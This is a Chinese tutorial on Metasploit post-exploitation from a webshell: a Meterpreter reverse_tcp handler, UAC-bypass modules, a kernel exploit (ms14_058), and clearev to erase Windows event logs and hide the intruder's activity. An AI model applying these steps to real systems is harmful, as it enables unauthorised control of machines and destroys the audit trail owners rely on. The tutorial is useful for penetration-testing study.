在获得webshell时但权限不够大,这时候为了完全获得受害者机器的权限,使用msf进行后渗透。

一、获取Meterpreter会话

Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。

(1) 使用msfvenom生成payload

常用命令:

(2)本地监听

监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。

Msfconsole 打开Metaploit

msf>use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.204.129

(3)将生成的payload通过webshell上传到服务器,要上传到可读写的区域并执行



成功监听获得meterpreter(一个session(会话))



Getuid 查看主机名



也可以输入shell变成命令行模式,输入exit返回到meterpeter shell模式





输入background命令让当前会话保存到后台



使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

(4)Exploit 进行提权(UAC提权)

用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。

msf提供了bypassuac模块帮助绕过UAC:



在使用bypassuac模块进行提权时,当前用户必须在管理员组中,且UAC必须为默认设置(既“仅在程序试图更改我的计算机时通知我”),bypassuac模块运行时,会在目标机器上创建多个文件,这些文件很有可能会被杀毒软件识别。

bypassuac模块介绍

use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。

use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率

use exploit/windows/local/bypassuac_fodhelper # 该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

use exploit/windows/local/bypassuac_eventvwr #该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

use exploit/windows/local/bypassuac_comhijack #此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。

use exploit/windows/local/bypassuac_windows_store #通过模拟可信目录绕过UAC

use exploit/windows/local/bypassuac_sdclt #Sdclt用于Windows备份和还原机制的上下文中

1.第一次尝试三个模块都无法获得权限

因为webshell权限只是user,这需要权限在adminisartor组中







bypassuac 执行成功后会返回一个新的 meterpreter,此时再输入 shell 进入系统 cmd 查看权限,权限级别已经由 medium 变成了 high。

除此之外还有很多其他的提权脚本,可以根据 systeminfo 查出来的补丁和提权脚本做对比,若相关的利用脚本没有安装相应的补丁,则可针对性的进行提权操作。

这里用bypassuac_injection成功提权



但是对新版的的win10没有一个可以成功绕过。

2.也可以尝试使用windwos的漏洞进行提权,可以用metaspolit的内置模块

use post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

set session id #id是已经获得的session号

当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用

use post/multi/recon/local_exploit_suggester



详细利用在另一篇文章

发现可能的漏洞后可以找到对应exp的模块:

如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058为例。

msf5 > use exploit/windows/local/ms14_058_track_popup_menu
msf5 > exploit(ms14_058_track_popup_menu) > set session 1
msf5 > exploit(ms14_058_track_popup_menu) > exploit

日志清除

清除日志

再进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开。

包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。

未清除日志前可查看系统记录的一些处理信息。



然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。



命令运行后,再到靶机的日志查看器中查看,日志已经被清除。

metaspolit下UAC提权以及日志清除的更多相关文章

  1. metasploit下Windows下多种提权方式

    前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病 ...

  2. Linux下漏洞提权

    Linux下的漏洞提权 linux下一般都是系统漏洞提权,分为以下几个步骤:

  3. LINUX下渗透提权之嗅探技术

    内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误 区.但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设 ...

  4. Linux sudo用户提权与日志审计

    一.格式说明及常用配置选项 格式: 用户或组 主机=授权可以使用哪个用户的权限 可以执行的命令 User_Alias 用户定义别名(别名可以是用户,用户组(用户组前面要加%))例:User_Alias ...

  5. windows UAC 提权实验(CVE-2019-1388)

    --------------------------------------------------------------------------------- 声明:本文仅做学习,实验主机为虚拟机 ...

  6. C++ UAC 提权 以一个管理员身份运行程序

    这里是我编译的和一个测试Demo:http://pan.baidu.com/s/1qWNgC6C 大家如果看我下边的不是很清楚,可以下载这个具体工程: 群:103197177 C++进阶讨论:欢迎喜欢 ...

  7. CVE-2019-1388 Windows UAC提权

    漏洞简述 该漏洞位于Windows的UAC(User Account Control,用户账户控制)机制中.默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desk ...

  8. CVE-2019-1388 UAC提权复现

    0x01 前言 该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中.默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示--Secure D ...

  9. WIN7/8/10下批处理提权工具

    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 自动添加批处 ...

随机推荐

  1. Jmeter Response Data 乱码问题解决方法

    1. 进入jmeter\apache-jmeter-4.0\bin,打开jmeter.properties 2. 搜索“sampleresult.default.encoding” 设置sampler ...

  2. powershell代码混淆绕过

    目前大多数攻击者已经将PowerShell 利用在了各种攻击场景中,如内网渗透,APT攻击甚至包括现在流行的勒索软件中.powershell的功能强大且调用方式十分灵活,灵活使用powershell可 ...

  3. C++ vector迭代器访问二维数组

    #include<iostream> #include<vector> int main(){ std::vector<int> arr(); // 创建一维数组 ...

  4. ArrayList、Vector、LinkedList 区别及底层实现

    一.ArrayList.Vector.LinkedList 三者区别 1.ArrayList  底层:是数组结构,查询快,增删慢,线程不安全,效率高.2.LinkedList底层:是链表数据结构,查询 ...

  5. F查询与Q查询、事务及其它

    一.F查询和Q查询 1.1 F查询 在上面所有的例子中,我们构造的过滤器都是将字段值与某个我们自己设定的常量做比较.如果是对两个字段的值做比较,那这时候就要用到F查询了. Django提供F()来做这 ...

  6. SqlServer2016 startengine错误的解决方式整理

    因为某些需要,最近在安装SqlServer2016,但总是安装失败,按照网上各路大佬的解决方案都没有成功.报错提示为两个:无法获取数据库引擎句柄,无法恢复数据库引擎服务.按照网上做法,使用admini ...

  7. 【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!

    写在前面 在之前的文章中,我们探讨了如何向Spring的IOC容器中注册bean组件,讲解了有关bean组件的生命周期的知识.今天,我们就来一起聊聊@Value注解的用法. 项目工程源码已经提交到Gi ...

  8. C# 自定义常用代码段快捷键

    不断更新中... 分享地址:http://pan.baidu.com/s/15oE0X

  9. java语言基础-start

    计算机基础 1.1 计算机以二进制存储数据 十进制数据转成二进制数据:使用除以2获取余数的方式 二进制数据转成十进制数据:使用8421编码的方式 1.2 字节 位(bit):一个数字0或者一个数字1, ...

  10. Vs Code推荐安装插件

    前言: Visual Studio Code是一个轻量级但功能强大的源代码编辑器,轻量级指的是下载下来的Vs Code其实就是一个简单的编辑器,强大指的是支持多种语言的环境插件拓展,也正是因为这种支持 ...